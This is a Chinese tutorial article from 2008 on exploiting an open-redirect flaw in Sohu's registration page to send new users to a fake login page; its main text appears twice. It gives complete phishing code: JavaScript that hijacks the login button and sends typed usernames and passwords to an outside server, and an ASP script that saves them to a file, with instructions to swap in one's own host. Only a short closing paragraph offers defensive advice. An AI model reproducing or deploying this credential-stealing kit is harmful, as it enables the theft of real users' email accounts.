利用sohu网站URL跳转漏洞欺骗邮箱密码
互联网 发布时间:2008-10-08 20:02:06 作者:佚名
我要评论
url跳转漏洞遍布各大网站,简单看一下,THE9、sohu等居然都存在这个漏洞!我们就拿sohu为例,讲一下该漏洞。来到sohu的用户注册页面,可以看到,在IE地址栏里,默认写着http://passport.sohu.com/web/signup.jsp?appid=1000& ru=http://login.mail.sohu.com/reg/signup_su
url跳转漏洞遍布各大网站,简单看一下,THE9、sohu等居然都存在这个漏洞!我们就拿sohu为例,讲一下该漏洞。来到sohu的用户注册页面,可以看到,在IE地址栏里,默认写着http://passport.sohu.com/web/signup.jsp?appid=1000& ru=http://login.mail.sohu.com/reg/signup_success.jsp。
这串字符中的“signup_success.jsp”页面是做什么的呢?反正sohu免费注册,我们来试一下。原来注册成功后,跳转到了这个页面。如果这个地址是其他地方的呢?现在改掉地址栏地址,替换为IT168安全频道的首页:http: //passport.sohu.com/web/signup.jsp?appid=1000&ru=http://safe.it168.com/,然后开始注册。
最后居然跳到了IT168安全频道的首页了。
sohu原本的注册流程是这样的:注册--处理注册信息--注册成功--跳转到成功页面--点页面链接自动登录--登录后跳转到mail.sohu.com。
而跳转后的页面我们可以控制,所以流程可以被我们改为:注册--处理注册信息--注册成功--跳转到伪造的登录页面--用户输入密码点登录--提交密码给我们--最后跳转到mail.sohu.com。
下面按照修改后的流程注册。
首先准备好工具,一个伪造的sohu登录页面(欺骗用),一个ASP页面(接收发来的密码并保存)。打开mail.sohu.com,照原样复制一份HTML源代码,为了让用户更容易受骗,还要在登录口写上“请登录”字样(过程见下文)。
因为sohu在登录的地方使用了自己的控件,看不到登录框的代码,操作登录的元素就比较麻烦了,还好微软提供了Ietoolbar这个IE的插件,可以看到sohu登录控件的名称,等登录控件加载完成,就可以对他进行操作了。
从抓包的数据中可以看出这个控件使用了AJAX,不知道他在页面触发AJAX的函数是什么,可能是onclick()也可能是别的,在写代码的时候必须保证让sohu的登录代码在我们提交密码到自己的asp页面(用来保存密码的页面)之后执行。无论他的函数是什么,我们都可以拦截,使用JS函数劫持技术,其实就是面向对象语言中的“方法重写”技术。
a.html代码(伪造的登录页面):
........................
</body>
</html>(一直到页面结束的标签)
.....................上面是mail.sohu.com页面的代码,.................
. 我们要加的代码从下面开始, 把“ajaxurltmp”的值改为asp文件的地址:
<script>
var ajaxurltmp = "http://safe.it168.com/a.asp";
//-------------以下为AJAX执行部分
var xmlHttp;
function createXMLHttpsss(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttpsss();
xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("GET", doUrl, true);
xmlHttp.send(null);
}
function handleStateChange(){
if (xmlHttp.readyState == 4 ){
if (xmlHttp.status == 200 ){
//停一秒,为了让另一个AJAX(登录的那个)有时间执行。最后跳转。
setTimeout("hrefgo()",1000);
}
}
}
function hrefgo()
{
location.href = 'http://mail.sohu.com/';
}
//----------------------------以上为AJAX执行部分
//在点登录的时候执行
var formrrr = document.getElementById('ppcontid');
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1];
lgin.onclick=function(){
alert('aaa');
}
var lgonclick = lgin.onclick;
lgin.onclick = function(){
var time = Math.random();
var strPer = ajaxurltmp '?
username=' document.getElementById('ppcontid').childNodes[0].childNodes[1].childNodes[1].value;
strPer =
'&password=' document.getElementById('ppcontid').childNodes[0].childNodes[2].childNodes[1].value '&time=' time;
startRequest(strPer);
lgonclick();
}
document.getElementById('pperrmsg').innerHTML='注册成功!请登录!';
//在点登录的时候执行
</script>
相关重要代码解释(JS函数劫持部分):
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1]; //这里获取”登录“这个按钮。
var lgonclick = lgin.onclick; //先把登录的方法赋给一个变量(这个变量其实是个方法)。
lgin.onclick = function ()
{
。。。。。我的代码,用来调用AJAX给ASP文件发密码(在这里拦截)
lgonclick(); //原来的代码
}
注意在HTML代码里把”safe.it168.com/a.asp“替换为你自己的ASP文件地址。
asp文件的代码:
<%
kxlzxfile=Server.MapPath("kxlzx.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set file=fs.OpenTextFile(kxlzxfile,8,True,0)
file.WriteLine("用户名:"&Request.QueryString("username")& "")
file.WriteLine("密码:"&Request.QueryString("password")& "")
file.close
set fs = nothing
%>
很简单的代码,接收到密码后生成一个kxlzx.txt文件,保存密码。把伪造的登录页面a.html(地址为http: //safe.it168.com/a.htm)和保存密码的页面a.asp(地址为http://safe.it168.com/a.asp)上传至一个asp空间里。
现在执行以下我们的流程,首先,打开注册的地址“http://passport.sohu.com/web/signup.jsp?appid= 1000&ru=http://safe.it168.com/a.html”,注册用户“kxlzxtest”,密码为“testtest”,然后提交。
注意看IE地址栏,已经来到了伪造的登录页面,输入密码登录。正常登录,进了邮箱里。
现在查看kxlzx.txt,果然有被盗取的密码!整个伪造的过程就是这样,让用户在不知不觉中上当。
做为普通上网用户,我们不要轻信任何人给出来的网页链接,即使是朋友(因为他也可能是受害者)。而做为程序员更应该注意,当你在设计程序时,尽量不要让用户参与控制流程,特别是敏感的地方。可以想象sohu的这段流程设计本意是为了和其它程序配合,让用户注册后直接跳转。但是由于没有检查来源,也没有检查 post给注册程序的链接是否是sohu自己的页面,最终导致了URL欺骗的形成。而这种漏洞在各大网站泛滥,例如九城的登录地址“https: //passport.the9.com/login.php?redurl=http://safe.it168.com”等,如果被人利用,最终会造成很严重的后果。
这串字符中的“signup_success.jsp”页面是做什么的呢?反正sohu免费注册,我们来试一下。原来注册成功后,跳转到了这个页面。如果这个地址是其他地方的呢?现在改掉地址栏地址,替换为IT168安全频道的首页:http: //passport.sohu.com/web/signup.jsp?appid=1000&ru=http://safe.it168.com/,然后开始注册。
最后居然跳到了IT168安全频道的首页了。
sohu原本的注册流程是这样的:注册--处理注册信息--注册成功--跳转到成功页面--点页面链接自动登录--登录后跳转到mail.sohu.com。
而跳转后的页面我们可以控制,所以流程可以被我们改为:注册--处理注册信息--注册成功--跳转到伪造的登录页面--用户输入密码点登录--提交密码给我们--最后跳转到mail.sohu.com。
下面按照修改后的流程注册。
首先准备好工具,一个伪造的sohu登录页面(欺骗用),一个ASP页面(接收发来的密码并保存)。打开mail.sohu.com,照原样复制一份HTML源代码,为了让用户更容易受骗,还要在登录口写上“请登录”字样(过程见下文)。
因为sohu在登录的地方使用了自己的控件,看不到登录框的代码,操作登录的元素就比较麻烦了,还好微软提供了Ietoolbar这个IE的插件,可以看到sohu登录控件的名称,等登录控件加载完成,就可以对他进行操作了。
从抓包的数据中可以看出这个控件使用了AJAX,不知道他在页面触发AJAX的函数是什么,可能是onclick()也可能是别的,在写代码的时候必须保证让sohu的登录代码在我们提交密码到自己的asp页面(用来保存密码的页面)之后执行。无论他的函数是什么,我们都可以拦截,使用JS函数劫持技术,其实就是面向对象语言中的“方法重写”技术。
a.html代码(伪造的登录页面):
........................
</body>
</html>(一直到页面结束的标签)
.....................上面是mail.sohu.com页面的代码,.................
. 我们要加的代码从下面开始, 把“ajaxurltmp”的值改为asp文件的地址:
<script>
var ajaxurltmp = "http://safe.it168.com/a.asp";
//-------------以下为AJAX执行部分
var xmlHttp;
function createXMLHttpsss(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttpsss();
xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("GET", doUrl, true);
xmlHttp.send(null);
}
function handleStateChange(){
if (xmlHttp.readyState == 4 ){
if (xmlHttp.status == 200 ){
//停一秒,为了让另一个AJAX(登录的那个)有时间执行。最后跳转。
setTimeout("hrefgo()",1000);
}
}
}
function hrefgo()
{
location.href = 'http://mail.sohu.com/';
}
//----------------------------以上为AJAX执行部分
//在点登录的时候执行
var formrrr = document.getElementById('ppcontid');
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1];
lgin.onclick=function(){
alert('aaa');
}
var lgonclick = lgin.onclick;
lgin.onclick = function(){
var time = Math.random();
var strPer = ajaxurltmp '?
username=' document.getElementById('ppcontid').childNodes[0].childNodes[1].childNodes[1].value;
strPer =
'&password=' document.getElementById('ppcontid').childNodes[0].childNodes[2].childNodes[1].value '&time=' time;
startRequest(strPer);
lgonclick();
}
document.getElementById('pperrmsg').innerHTML='注册成功!请登录!';
//在点登录的时候执行
</script>
相关重要代码解释(JS函数劫持部分):
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1]; //这里获取”登录“这个按钮。
var lgonclick = lgin.onclick; //先把登录的方法赋给一个变量(这个变量其实是个方法)。
lgin.onclick = function ()
{
。。。。。我的代码,用来调用AJAX给ASP文件发密码(在这里拦截)
lgonclick(); //原来的代码
}
注意在HTML代码里把”safe.it168.com/a.asp“替换为你自己的ASP文件地址。
asp文件的代码:
<%
kxlzxfile=Server.MapPath("kxlzx.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set file=fs.OpenTextFile(kxlzxfile,8,True,0)
file.WriteLine("用户名:"&Request.QueryString("username")& "")
file.WriteLine("密码:"&Request.QueryString("password")& "")
file.close
set fs = nothing
%>
很简单的代码,接收到密码后生成一个kxlzx.txt文件,保存密码。把伪造的登录页面a.html(地址为http: //safe.it168.com/a.htm)和保存密码的页面a.asp(地址为http://safe.it168.com/a.asp)上传至一个asp空间里。
现在执行以下我们的流程,首先,打开注册的地址“http://passport.sohu.com/web/signup.jsp?appid= 1000&ru=http://safe.it168.com/a.html”,注册用户“kxlzxtest”,密码为“testtest”,然后提交。
注意看IE地址栏,已经来到了伪造的登录页面,输入密码登录。正常登录,进了邮箱里。
现在查看kxlzx.txt,果然有被盗取的密码!整个伪造的过程就是这样,让用户在不知不觉中上当。
做为普通上网用户,我们不要轻信任何人给出来的网页链接,即使是朋友(因为他也可能是受害者)。而做为程序员更应该注意,当你在设计程序时,尽量不要让用户参与控制流程,特别是敏感的地方。可以想象sohu的这段流程设计本意是为了和其它程序配合,让用户注册后直接跳转。但是由于没有检查来源,也没有检查 post给注册程序的链接是否是sohu自己的页面,最终导致了URL欺骗的形成。而这种漏洞在各大网站泛滥,例如九城的登录地址“https: //passport.the9.com/login.php?redurl=http://safe.it168.com”等,如果被人利用,最终会造成很严重的后果。
相关文章

2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)
Windows系列服务器于2019年5月15号,被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系统都会遭到攻击,该服务器漏洞利用方式是通过远程桌面端口332021-07-25
宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma的问题分析
这篇文章主要介绍了宝塔面板 phpmyadmin 未授权访问漏洞 BUG ip:888/pma,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下2020-08-24
CPU幽灵和熔断漏洞是什么?Intel为大家简单易懂的科普了一番
不久前让整全行业紧张、全球用户恐慌的Spectre幽灵、Meltdown熔断两大漏洞事件刚刚告一段落了,那么这两个漏洞到底是什么?可能还有很多人不是很清楚,想了解的朋友跟着小2018-03-21
2017年5月12日,WannaCry蠕虫通过MS17-010漏洞在全球范围大爆发,感染了大量的计算机,该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密,本文对其2017-05-17- 大部分的用户可能不要了解文件上传漏洞,下面小编就为大家具体的讲解什么事文件上传漏洞以及文件上传漏洞的几种方式2016-11-02
- 漏洞检测工具用语有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介绍,本文介绍的非常详细,具有参考解决价值,感兴趣的朋友一起看看吧2016-10-11
- 漏洞无处不在,它是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统2016-09-29
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击,不仅仅有网站挂马式钓鱼,也有鱼叉式邮件钓鱼,下面小编就为大家介绍office漏洞CVE-2012-0158,一起来看看吧2016-09-28- SSL(安全套接字层)逐渐被大家所重视,但是最不能忽视的也是SSL得漏洞,随着SSL技术的发展,新的漏洞也就出现了,下面小编就为大家介绍简单七步教你如何解决关键SSL安全问题2016-09-23
- 在爬虫开发中,大家可以很轻易地 bypass 所谓的 UA 限制,甚至用 scrapy 框架轻易实现按照深度进行爬行。但是实际上,这些并不够。关于爬虫的基础知识比如数据处理与数据存2016-09-12






最新评论